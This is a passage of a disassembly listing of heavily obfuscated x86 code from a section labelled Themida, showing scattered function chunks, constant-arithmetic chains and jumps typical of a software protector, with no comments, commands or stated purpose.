; FUNCTION CHUNK AT 0056E536 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00572389 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00572A95 SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp-4+arg_0], esp
		jmp	loc_56E536
sub_56E0CB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568646


loc_56E0D6:				; CODE XREF: sub_568646+5820j
		mov	al, dl
		push	ebx
		mov	bl, al
		mov	ch, bl
		pop	ebx
		mov	eax, [esp+14h+var_14]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+18h+var_18]
		pop	esp
		mov	bl, ch
		jmp	loc_569C88
; END OF FUNCTION CHUNK	FOR sub_568646
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567CFE


loc_56E0FB:				; CODE XREF: sub_567CFE-7D1Ej
		add	edx, 1C6B43A2h
		and	edx, 5759297Ah
		shl	edx, 6
		xor	edx, 6E43F88h
		push	ecx
		mov	ecx, 58F32020h
		sub	edx, ecx
		pop	ecx
		sub	ebp, edx
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_56E22D
; END OF FUNCTION CHUNK	FOR sub_567CFE

; =============== S U B	R O U T	I N E =======================================



sub_56E126	proc near		; CODE XREF: sub_5696A1+6A2Aj

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005603D1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00561BEA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005624F5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00562B36 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00563744 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00563881 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00564B52 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00564E41 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00564F7E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00565C76 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00565EE5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056673B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005677B7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00567D55 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00568D11 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00569424 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00569F8E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056C75F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056D5FE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056D647 SIZE 00000046 BYTES
; FUNCTION CHUNK AT 0056DCAD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056EAD3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056F448 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056F761 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00570A3C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00570A8C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570BF2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005728DE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005735A0 SIZE 0000000A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 67765B93h
		jmp	loc_56673B
sub_56E126	endp

; ---------------------------------------------------------------------------


loc_56E139:				; CODE XREF: Themida_:0056BE31j
		add	ecx, 4
		push	5F7Eh
		mov	[esp], edi
		mov	edi, 0F870EE4h
		push	esi
		push	edi
		push	673278Eh
		mov	edi, [esp]
		jmp	loc_574F80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5716F1


loc_56E15B:				; CODE XREF: sub_5716F1-7CCAj
		pop	ebx
		mov	eax, 2FCE15A2h
		add	eax, edx
		pop	edx
		push	ebx
		jmp	loc_563E23
; END OF FUNCTION CHUNK	FOR sub_5716F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574896


loc_56E16A:				; CODE XREF: sub_574896+6j
		sub	edi, ebp
		pop	ebp
		xchg	edi, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], eax
		jmp	loc_5727BD
; END OF FUNCTION CHUNK	FOR sub_574896
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_56E179:				; CODE XREF: sub_57146D-167Dj
		xor	dl, ah
		mov	eax, [esp+0Eh+var_10+2]
		add	esp, 4
		dec	dl
		not	dl
		neg	dl
		push	ax
		mov	al, 0F4h
		push	cx
		jmp	loc_571FCA
; END OF FUNCTION CHUNK	FOR sub_57146D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566DC7


loc_56E195:				; CODE XREF: sub_566DC7+3222j
		xor	esi, [esp+8+var_8]
		jmp	loc_56FF2B
; END OF FUNCTION CHUNK	FOR sub_566DC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5738F4


loc_56E19D:				; CODE XREF: sub_5738F4-2B70j
		xor	[esp+4+var_4], ebx
		jmp	loc_562EE9
; END OF FUNCTION CHUNK	FOR sub_5738F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564020


loc_56E1A5:				; CODE XREF: sub_564020+16j
		push	dword ptr [esp+0]
		pop	eax
		jmp	loc_562AA7
; END OF FUNCTION CHUNK	FOR sub_564020
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_56E1AE:				; CODE XREF: sub_574304-D9F8j
		sub	eax, 97D351Eh
		jmp	loc_5734B9
; END OF FUNCTION CHUNK	FOR sub_574304

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_56E1B8	proc near		; CODE XREF: sub_56A423+9A85j

; FUNCTION CHUNK AT 00564507 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00565FCB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056F6B2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00570129 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005735C8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0057395E SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00573C6B SIZE 00000019 BYTES

		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_57395E
sub_56E1B8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574949


loc_56E1C6:				; CODE XREF: sub_574949-F7F2j
		add	dh, 19h
		add	cl, dh
		pop	edx
		jmp	loc_560636
; END OF FUNCTION CHUNK	FOR sub_574949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564B0B


loc_56E1D1:				; CODE XREF: sub_564B0B+1Dj
		add	ebx, 69C835A5h
		pop	edx
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		push	ecx
		mov	ecx, 94A29C1h
		shl	ecx, 6
		push	ebp
		jmp	loc_56AF7F
; END OF FUNCTION CHUNK	FOR sub_564B0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5692D3


loc_56E1F0:				; CODE XREF: sub_5692D3-1394j
		sub	ecx, 6A177A68h
		add	ecx, 41634E4Eh
		push	ebx
		jmp	sub_56351E
; END OF FUNCTION CHUNK	FOR sub_5692D3
; ---------------------------------------------------------------------------


loc_56E202:				; CODE XREF: Themida_:00574224j
		pop	eax
		sub	edx, 88E5D154h
		sub	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5710E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D855


loc_56E220:				; CODE XREF: sub_56D855-C3A4j
		mov	eax, edx
		pop	edx
		xor	eax, 55220AAAh
		jmp	loc_5639FD
; END OF FUNCTION CHUNK	FOR sub_56D855
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567CFE


loc_56E22D:				; CODE XREF: sub_567CFE+6423j
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		xor	ebp, 3E984444h
		jmp	loc_5737FB
; END OF FUNCTION CHUNK	FOR sub_567CFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_56E241:				; CODE XREF: sub_56B06D+7B46j
		mov	edx, 44A70F74h
		xchg	esi, edx
		not	esi
		xchg	esi, edx
		push	ecx
		mov	ecx, 33E70A75h
		sub	edx, 1EF274ADh
		add	edx, ecx
		add	edx, 1EF274ADh
		push	[esp+0Ch+var_C]
		pop	ecx
		add	esp, 4
		sub	eax, edx
		mov	edx, [esp+8+var_8]
		add	esp, 4
		mov	[edx+30h], eax
		push	[esp+4+var_4]
		mov	eax, [esp+8+var_8]
		add	esp, 4
		add	esp, 4
		popa
		popf
		retn
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_56E289:				; CODE XREF: sub_565632+74CBj
		mov	eax, 5DED080Dh
		neg	eax
		not	eax
		shr	eax, 5
		or	eax, 3F7647D3h
		add	eax, 0A697FA43h
		sub	esi, eax
		jmp	loc_56C2DA
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_56E2A6:				; CODE XREF: sub_56616D+DB49j
		mov	edi, ebp
		mov	ebp, [esp-0Ch+arg_8]
		add	esp, 4
		add	edi, ecx
		mov	ecx, [esp-10h+arg_C]
		add	esp, 4
		mov	esi, 203E1861h
		sub	esi, 75F3156h
		sub	esi, 76BF2ABDh
		sub	esi, edi
		add	esi, 76BF2ABDh
		add	esi, 75F3156h
		jmp	loc_56A0D6
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5648C6


loc_56E2E0:				; CODE XREF: sub_5648C6+20D9j
		xor	eax, 6E25C9D3h
		and	esi, eax
		pop	eax
		add	esi, 6C872BD5h
		sub	esi, 7B2F25C4h
		jmp	sub_56858D
; END OF FUNCTION CHUNK	FOR sub_5648C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56E2F9:				; CODE XREF: sub_57354D-37F4j
		add	[esp+8+var_4], 8CF317Ah
		add	[esp+8+var_4], ebx
		jmp	loc_562827
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_56E30A:				; CODE XREF: sub_56616D+325Fj
		pop	edx
		jmp	loc_57455E
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569E1B


loc_56E310:				; CODE XREF: sub_569E1B-597Ej
		pop	esp
		mov	[esp+0], edx
		jmp	loc_56D315
; END OF FUNCTION CHUNK	FOR sub_569E1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5604FE


loc_56E319:				; CODE XREF: sub_5604FE+532j
		or	edi, 4FA749EAh
		push	ebp
		mov	ebp, 1048221Ah
		add	edi, 59D750FEh
		jmp	loc_5695EC
; END OF FUNCTION CHUNK	FOR sub_5604FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_56E330:				; CODE XREF: sub_56FB8A-C8C7j
		add	edx, 18C03ABh
		and	edx, 100B564Ah
		jmp	loc_5687CB
; END OF FUNCTION CHUNK	FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_56E341:				; CODE XREF: sub_56628B+A064j
		sub	ebp, edx
		mov	edx, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_5676D9
; END OF FUNCTION CHUNK	FOR sub_56628B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B11B


loc_56E34E:				; CODE XREF: sub_56B11B-6EC7j
		pop	edx
		sub	ecx, 4
		jmp	loc_568EA7
; END OF FUNCTION CHUNK	FOR sub_56B11B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747FA


loc_56E35A:				; CODE XREF: sub_5747FA+2Cj
		push	esi
		jmp	loc_56EAAD
; END OF FUNCTION CHUNK	FOR sub_5747FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564020


loc_56E360:				; CODE XREF: sub_564020+DAE0j
		add	esp, 4
		pop	edx
		add	ebx, eax
		push	29BFh
		mov	[esp-4+arg_0], edi
		push	eax
		mov	eax, 47C20C7Bh
		sub	eax, 1
		push	edx
		mov	edx, 2DE8276Fh
		jmp	loc_572C1D
; END OF FUNCTION CHUNK	FOR sub_564020
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570FB7


loc_56E385:				; CODE XREF: sub_570FB7-109B3j
		push	eax
		jmp	loc_5749BA
; END OF FUNCTION CHUNK	FOR sub_570FB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B71F


loc_56E38B:				; CODE XREF: sub_56B71F-5E81j
		mov	eax, [esp+8+var_8]
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], edx
		jmp	loc_56A1BE
; END OF FUNCTION CHUNK	FOR sub_56B71F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56E39C:				; CODE XREF: sub_564D26+CF4Aj
		xor	esi, edi
		push	[esp+4+var_4]
		mov	edi, [esp+8+var_8]
		jmp	loc_5714CE
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570E81


loc_56E3A9:				; CODE XREF: sub_570E81-946Ej
		add	[esp+4+arg_0], 3DF066B1h
		pop	edx
		sub	[esp+arg_0], 548047F4h
		jmp	loc_56D56A
; END OF FUNCTION CHUNK	FOR sub_570E81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DA43


loc_56E3BF:				; CODE XREF: sub_56DA43+30BDj
		add	ebp, 543A726Bh
		add	ecx, ebp
		pop	ebp
		add	ecx, ebp
		push	ebp
		push	edi
		mov	edi, 7BE83B48h
		mov	ebp, 288E4F76h
		jmp	loc_56173F
; END OF FUNCTION CHUNK	FOR sub_56DA43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570F0F


loc_56E3DB:				; CODE XREF: sub_570F0F-6AFEj
		pop	[esp+4+var_4]
		pop	esp
		jmp	loc_560402
; END OF FUNCTION CHUNK	FOR sub_570F0F
; ---------------------------------------------------------------------------


loc_56E3E4:				; CODE XREF: Themida_:0056EC3Aj
		add	esi, 4
		sub	esi, 4
		jmp	loc_566A55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A016


loc_56E3F5:				; CODE XREF: sub_56A016+Cj
		sub	al, 9Eh
		sub	al, bh
		add	al, 9Eh
		jmp	loc_5711D6
; END OF FUNCTION CHUNK	FOR sub_56A016
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570F0F


loc_56E400:				; CODE XREF: sub_570F0F+11j
		push	110F55F0h
		pop	edx
		sub	edx, 12280CBEh
		not	edx
		push	edi
		mov	edi, 90346591h
		sub	edx, edi
		pop	edi
		mov	ebx, edx
		pop	edx
		sub	ebx, 70E45138h
		add	ecx, 4E692A4Dh
		add	ecx, ebx
		sub	ecx, 4E692A4Dh
		pop	ebx
		jmp	loc_56A408
; END OF FUNCTION CHUNK	FOR sub_570F0F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_56E434:				; CODE XREF: sub_5620B7+6BC6j
		mov	esi, 29226D57h
		or	edx, esi
		push	[esp+14h+var_14]
		jmp	loc_571D33
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------


loc_56E443:				; CODE XREF: Themida_:00560C77j
		push	4742F326h
		jmp	loc_563A3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567B29


loc_56E44D:				; CODE XREF: sub_567B29+1j
		mov	ebx, 0
		push	esi
		mov	esi, 0F4C2C2Ah
		jmp	loc_56B2DA
; END OF FUNCTION CHUNK	FOR sub_567B29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_56E45D:				; CODE XREF: sub_565632+ACDDj
		mov	esi, 4
		add	edi, esi
		pop	esi
		xchg	edi, [esp+0]
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	5937h
		mov	[esp-10h+arg_C], ebp
		jmp	loc_56F2EA
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_56E47F:				; CODE XREF: sub_56BD44-90A4j
		sub	edi, 7AD64362h
		jmp	loc_569724
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------


loc_56E48A:				; CODE XREF: Themida_:00571C05j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 11C90422h
		jmp	loc_564512
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56E4A6:				; CODE XREF: sub_57354D-1154Bj
		mov	ebp, 52944A64h
		add	edi, ebp
		pop	ebp
		add	edi, edx
		jmp	loc_5729E1
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561784


loc_56E4B5:				; CODE XREF: sub_561784+36j
		mov	[esp+4+var_4], edi
		jmp	sub_5631A3
; END OF FUNCTION CHUNK	FOR sub_561784
; ---------------------------------------------------------------------------


loc_56E4BD:				; CODE XREF: Themida_:0056F260j
		mov	eax, 7EDF6695h
		jmp	loc_56B027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_56E4C7:				; CODE XREF: sub_569193+13j
		sub	ebx, 4
		push	ebx
		push	[esp+8+var_4]
		jmp	loc_56BFBE
; END OF FUNCTION CHUNK	FOR sub_569193

; =============== S U B	R O U T	I N E =======================================



sub_56E4D4	proc near		; CODE XREF: sub_57199D+1C4Cj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00563AB0 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00568867 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00569EF0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056B64C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005718E6 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005726C9 SIZE 00000008 BYTES

		push	ebx
		mov	ebx, 446E4CBDh
		inc	ebx
		inc	ebx
		sub	ebx, 0EFA7FCE4h
		sub	eax, ebx
		mov	ebx, [esp+0]
		jmp	loc_56B64C
sub_56E4D4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573A7F


loc_56E4EC:				; CODE XREF: sub_573A7F-F26j
		add	edi, 26820C74h
		or	edi, 6A9639C9h
		dec	edi
		push	esi
		mov	esi, 41CC3104h
		sub	edi, 6BF3FC9h
		sub	edi, esi
		add	edi, 6BF3FC9h
		pop	esi
		jmp	sub_5666C3
; END OF FUNCTION CHUNK	FOR sub_573A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_56E513:				; CODE XREF: sub_56FA15-7F61j
		push	0
		push	bx
		mov	bl, 5Ah
		sub	byte ptr [esp+0Eh+var_C], bl
		pop	bx
		sub	byte ptr [esp+0Ch+var_C], ch
		add	byte ptr [esp+0Ch+var_C], 5Ah
		mov	ch, byte ptr [esp+0Ch+var_C]
		add	esp, 4
		inc	ch
		jmp	loc_563C7F
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E0CB


loc_56E536:				; CODE XREF: sub_56E0CB+6j
		add	[esp-4+arg_0], 4
		pop	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		push	ebx
		push	557Bh
		jmp	loc_56A24E
; END OF FUNCTION CHUNK	FOR sub_56E0CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56626B


loc_56E554:				; CODE XREF: sub_56626B+D2F9j
		add	cl, bh
		add	cl, 0B6h
		pop	ebx
		sub	al, cl
		jmp	loc_56FE37
; END OF FUNCTION CHUNK	FOR sub_56626B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_56E561:				; CODE XREF: sub_567D31-29A2j
		sub	edi, 0E165599Fh
		mov	ebx, edi
		pop	edi
		push	edi
		mov	edi, 4B1278DDh
		and	edi, 1022CA6h
		xor	edi, 0D7C5F0Ch
		or	edi, 167E3D3Fh
		shl	edi, 1
		shl	edi, 2
		sub	edi, 812D846Dh
		xor	ebx, edi
		pop	edi
		add	ecx, ebx
		jmp	loc_5636AD
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_56E597:				; CODE XREF: sub_5678CB+DBCCj
		push	ecx
		mov	cl, 19h
		mov	dl, cl
		pop	ecx
		add	ah, dl
		jmp	loc_56985F
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560844


loc_56E5A4:				; CODE XREF: sub_560844+6DD0j
		mov	esi, 63891073h
		inc	esi
		sub	esi, 0CE87D69h
		and	esi, 62732E17h
		jmp	loc_564F4E
; END OF FUNCTION CHUNK	FOR sub_560844

; =============== S U B	R O U T	I N E =======================================



sub_56E5BB	proc near		; DATA XREF: Themida_:0055FE24o

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  4

; FUNCTION CHUNK AT 0056118F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005611F6 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005689D9 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056A813 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00571921 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 00572FE8 SIZE 00000017 BYTES

		mov	cx, [esp+0]
		push	56CFh
		mov	[esp+4+var_4], ecx
		push	esp
		push	[esp+8+var_8]
		jmp	loc_56118F
sub_56E5BB	endp

; ---------------------------------------------------------------------------


loc_56E5D0:				; CODE XREF: Themida_:005710F2j
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5653AD


loc_56E5D5:				; CODE XREF: sub_5653AD-4F8Ej
		or	ebx, edi
		pop	edi
		not	ebx
		inc	ebx
		add	ebx, 0D8849C66h
		xor	esi, ebx
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		add	ebx, esi
		jmp	loc_566778
; END OF FUNCTION CHUNK	FOR sub_5653AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_56E5F0:				; CODE XREF: sub_574A21-A4EAj
		pop	edi
		neg	edx
		add	edx, 40F727CAh
		push	edi
		push	edx
		mov	edx, 11B5F92h
		mov	edi, edx
		pop	edx
		jmp	loc_569808
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB93


loc_56E610:				; CODE XREF: sub_56AB93+F1j
		btc	[esp+0], ax
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56AB93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C3E2


loc_56E61B:				; CODE XREF: sub_56C3E2-8365j
		pop	edx
		jmp	loc_57106C
; END OF FUNCTION CHUNK	FOR sub_56C3E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B577


loc_56E621:				; CODE XREF: sub_56B577-2395j
		add	ebp, 1F8E7AF4h
		mov	eax, [esp+0]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_5651FA
; END OF FUNCTION CHUNK	FOR sub_56B577
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_56E63B:				; CODE XREF: sub_56FA15+9j
		dec	bl
		add	bl, 1Ah
		jmp	loc_56A4B5
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5662F9


loc_56E645:				; CODE XREF: sub_5662F9+589Aj
		push	edi
		mov	edi, 4
		sub	esi, 7A1B0607h
		add	esi, edi
		add	esi, 7A1B0607h
		mov	edi, [esp+10h+var_10]
		add	esp, 4
		xchg	esi, [esp+0Ch+var_C]
		jmp	loc_56C12D
; END OF FUNCTION CHUNK	FOR sub_5662F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_56E66A:				; CODE XREF: sub_5605BC+CA82j
		sub	ecx, 2B1D0051h
		add	ecx, 0A8F50B6h
		pop	ebx
		push	ebx
		jmp	loc_56867C
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_56E67D:				; CODE XREF: sub_561418+EDC1j
		sub	edx, 66EB377Fh
		mov	ebp, [esp+10h+var_10]
		jmp	loc_568B79
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------


loc_56E68B:				; CODE XREF: Themida_:0056FBAFj
		pop	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		jmp	loc_561669
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_56E6A2:				; CODE XREF: sub_574656-10550j
		add	esi, ebp
		push	[esp+10h+var_10]
		pop	ebp
		add	esp, 4
		jmp	sub_56D4B8
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567CF5


loc_56E6B3:				; CODE XREF: sub_567CF5-1D94j
		sub	ecx, eax
		pop	eax
		mov	ebp, ecx
		pop	ecx
		push	ecx
		mov	ecx, 0A93EA20Ah
		add	ebp, ecx
		pop	ecx
		add	ecx, ebp
		pop	ebp
		add	esi, ecx
		pop	ecx
		add	esi, 2
		jmp	loc_56F14E
; END OF FUNCTION CHUNK	FOR sub_567CF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_56E6D3:				; CODE XREF: sub_569193+6580j
		mov	esi, 4
		mov	ecx, esi
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		sub	edi, 5C881924h
		add	edi, ecx
		add	edi, 5C881924h
		push	[esp+8+var_8]
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		add	esp, 4
		xor	edi, [esp+4+var_4]
		xor	[esp+4+var_4], edi
		jmp	loc_5616AD
; END OF FUNCTION CHUNK	FOR sub_569193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56E70E:				; CODE XREF: sub_564D26+1Aj
		add	edx, ecx
		pop	ecx
		add	edx, ebp
		push	ebx
		mov	ebx, 600C0530h
		not	ebx
		sub	ebx, 84A69100h
		sub	edx, ebx
		pop	ebx
		pop	ebp
		push	ecx
		mov	ecx, 4
		jmp	loc_57393E
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_56E730:				; CODE XREF: sub_574A21-13306j
		push	edx
		mov	edx, 5FC07D73h
		mov	ebx, 0D475D92Ah
		sub	ebx, edx
		pop	edx
		jmp	loc_5753D7
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561826


loc_56E743:				; CODE XREF: sub_561826+3CF4j
		pop	edi
		add	esi, edx
		pop	edx
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp+2+var_2]
		jmp	loc_5749A3
; END OF FUNCTION CHUNK	FOR sub_561826
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574FC9


loc_56E755:				; CODE XREF: sub_574FC9-40EDj
		add	esi, eax
		pop	eax
		pop	ecx
		add	esi, 2
		push	4C28h
		mov	[esp+4+var_4], esi
		push	dword ptr [esp+4]
		mov	esi, [esp+8+var_8]
		push	edi
		jmp	loc_56C0B9
; END OF FUNCTION CHUNK	FOR sub_574FC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_56E771:				; CODE XREF: sub_57549C-DE3j
		pop	eax
		jmp	loc_570115
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------


loc_56E777:				; CODE XREF: Themida_:005674ECj
		mov	ebp, ecx
